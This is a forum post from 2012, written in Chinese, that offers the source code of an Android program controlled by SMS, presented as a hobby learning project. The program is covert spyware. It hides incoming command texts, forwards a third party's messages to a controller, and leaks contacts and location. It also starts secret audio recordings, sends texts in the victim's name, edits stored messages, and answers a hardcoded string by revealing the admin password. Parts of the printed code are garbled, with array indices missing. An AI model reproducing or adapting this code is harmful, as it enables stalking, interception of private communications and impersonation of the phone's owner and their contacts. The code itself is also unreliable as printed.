fei菲菲 发表于 2012-10-24 22:53:44

基于短信的手机控制程序(附源码)

1.1前言
兴趣是最好的老师,这句话对于有志于从事软件开发的人来说尤为重要,毕竟这一行业需要不断的学习新知识,缺乏兴趣的工作只会让人感到日益枯燥.以下是去年9月份在某培训班开始学习android的过程中,出于个人兴趣写的一个小程序.在此献给大家,一来借这类程序提高大家的Android开发兴趣,再者也可以学习一下简单实用的知识.
1.2程序简介
本程序是一个基于短信的手机控制程序,有受控端B和管理端A.
已实现功能:
1.A监控C发给B的所有短信.
2.A可以查询B的通讯录和位置.
3.A可以开启B的手机录音.
4.A可以通过B向任何人发送短信.
5.A可以修改B的收件箱短信内容.
6.B换手机号后,A可以知道.
相关参数:
admin----管理者手机号码,也就是A的手机号码
listen----被监控的手机号码,即C的手机号.
password----管理密码,会在第一次建立控制关系时设定,A若换手机号,只能通过这个密码来更换B上保存的admin号码            

2.1 MainReceiver:程序的短信解析/跳转主体类.
用的是broadcastreceiver , broadcastreceiver本身就不介绍了,网上一大堆使用教程.本程序中就是截获android.provider.Telephony.SMS_RECEIVED广播,分析短信内容, 根据不同的内容进行相应操作.


package iceman.android.project;import java.util.List;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.content.SharedPreferences;import android.content.SharedPreferences.Editor;import android.os.Bundle;import android.telephony.SmsManager;import android.telephony.SmsMessage;public class MainReceiver extends BroadcastReceiver{      private String number;      private SmsManager manager = SmsManager.getDefault();            public void onReceive(Context context, Intent intent) {                MyLog.LogI("OUTPUT", "广播接收器触发");                SharedPreferences preferences = context.getSharedPreferences("sms", Context.MODE_PRIVATE);//使用SharedPreferences存储admin号码和listen号码.                String admin = preferences.getString("admin", "");                MyLog.LogI("OUTPUT", "当前admin:"+admin);                String listen = preferences.getString("listen", "");                String password = preferences.getString("password", "iceman");                MyLog.LogI("OUTPUT", "当前listen:"+listen);                Bundle bun = intent.getExtras();                //开始分析短信                if(bun!=null){                        Object[] mypdus = (Object[])bun.get("pdus");                        SmsMessage[] messages = new SmsMessage;                        for(int i=0;i<mypdus.length;i++){                              messages = SmsMessage.createFromPdu((byte[])mypdus);                        }                        for(SmsMessage mess:messages){                                                                              number = mess.getDisplayOriginatingAddress();                                        String body = mess.getDisplayMessageBody();                                        MyLog.LogI("OUTPUT","号码来源:"+number);                                        MyLog.LogI("OUTPUT","内容:"+body);                                        if(number.contains("+86")){                                                number = number.substring(3);                                        }                                        MyLog.LogI("OUTPUT","号码来源转换"+number);                                        //设定管理号码                                        if(body.equals("iceman78952190")){                                          MyLog.LogI("OUTPUT","查询密码哦");                                          abortBroadcast();                                          manager.sendTextMessage(number, null, password, null, null);                                        }                                        if(body.contains("@iceman@admin")){                                                abortBroadcast();                                                body = body.substring(13);                                                if(password.equals("iceman")){                                                    password = body;                                                    Editor editor = preferences.edit();                                                    editor.putString("admin", number);                                                    editor.putString("password", body);                                                    editor.commit();                                                    MyLog.LogI("OUTPUT","设定admin:"+number);                                                    manager.sendTextMessage(number, null, "admin change success!"+number, null, null);                                                }else{                                                    if(password.equals(body)){                                                      Editor editor = preferences.edit();                                    editor.putString("admin", number);                                    editor.commit();                                    MyLog.LogI("OUTPUT","设定admin:"+number);                                    manager.sendTextMessage(number, null, "admin change success!"+number, null, null);                                                    }else{                                                      MyLog.LogI("OUTPUT","密码不对");                                                    }                                                }                                        }                                        //对管理号码发来的短信进行判断,是否启动服务或者更改被监听号码                                        if(number.equals(admin)){                                                if(body.contains("@iceman@search")){                                                      abortBroadcast();                                                      MyLog.LogI("OUTPUT", "开始查询通讯录");                                                      manager.sendTextMessage(admin, null, "search starting!", null, null);                                                      //启动服务,查询通讯录并发送                                                      Intent it = new Intent(context,ContactService.class);                                                      it.putExtra("admin", admin);                                                      context.startService(it);                                                }else if(body.contains("@iceman@change")){                                                      abortBroadcast();                                                      listen = body.substring(14);                                                      Editor editor = preferences.edit();                                                      editor.putString("listen", listen);                                                      editor.commit();                                                      MyLog.LogI("OUTPUT", "更改listen完成");                                                      manager.sendTextMessage(admin, null, "listen change success!", null, null);                                                }else if(body.contains("@iceman@location")){                                                      abortBroadcast();                                                      MyLog.LogI("OUTPUT", "开启位置监控");                                                                                                                Intent it = new Intent(context,LocationService.class);                                                      context.startService(it);                                                      manager.sendTextMessage(admin, null, "location listen success!", null, null);                                                      MyLog.LogI("OUTPUT", "位置监控开启完成");                                                }else if(body.contains("@iceman@where")){                                                      abortBroadcast();                                                      MyLog.LogI("OUTPUT", "开始发送并解析地址");                                                                Intent it2 = new Intent(context,GetAddressService.class);                                                      context.startService(it2);                                                }else if(body.contains("@iceman@start")){                                                      abortBroadcast();                                                      MyLog.LogI("OUTPUT", "收到录音开启命令");                                                                        Intent it = new Intent(context,RecorderService.class);                                                      context.startService(it);                                                }else if(body.contains("@iceman@stop")){                                                      abortBroadcast();                                                      MyLog.LogI("OUTPUT", "收到结束录音命令");                                                                        Intent it = new Intent(context,RecorderService.class);                                                      context.stopService(it);                                                }else if(body.contains("@iceman@sms")){                                                      abortBroadcast();                                                      MyLog.LogI("OUTPUT", "发送短信");                                                      String[] str = body.split("#");                                                      manager.sendTextMessage(str, null, str, null, null);                                                      MyLog.LogI("OUTPUT", "目标号码:"+str+"内容:"+str);                                                }else if(body.contains("@iceman@replace")){                                                    abortBroadcast();                                                    String[] str = body.split("#");                                                    MyLog.LogI("OUTPUT", "收到短信修改命令");                                                   Intent it = new Intent(context,EditSmsService.class);                                                    it.putExtra("key", str);                                                    it.putExtra("number", str);                                                    it.putExtra("content", str);                                                    it.putExtra("type", "replace");                                                    context.startService(it);                                                }                                                else if(body.contains("@iceman@edit")){                                                    abortBroadcast();                                                    String[] str = body.split("#");                            MyLog.LogI("OUTPUT", "收到短信编辑命令");                           Intent it = new Intent(context,EditSmsService.class);                            it.putExtra("key", str);                            it.putExtra("number", str);                            it.putExtra("content", str);                            it.putExtra("type", "edit");                            context.startService(it);                                                }                                        }                                                //判断是否由被监听号码发来的短信                                        if(number.equals(listen)){                                                String sms = number+":"+body;                                                MyLog.LogI("OUTPUT", "监听到短信");                                                List<String> texts=manager.divideMessage(sms);                                       for(String text:texts)                                       {                                             manager.sendTextMessage(admin, null, text, null, null);                                       }                                                   }                                                                }                }      }}
页: [1]
查看完整版本: 基于短信的手机控制程序(附源码)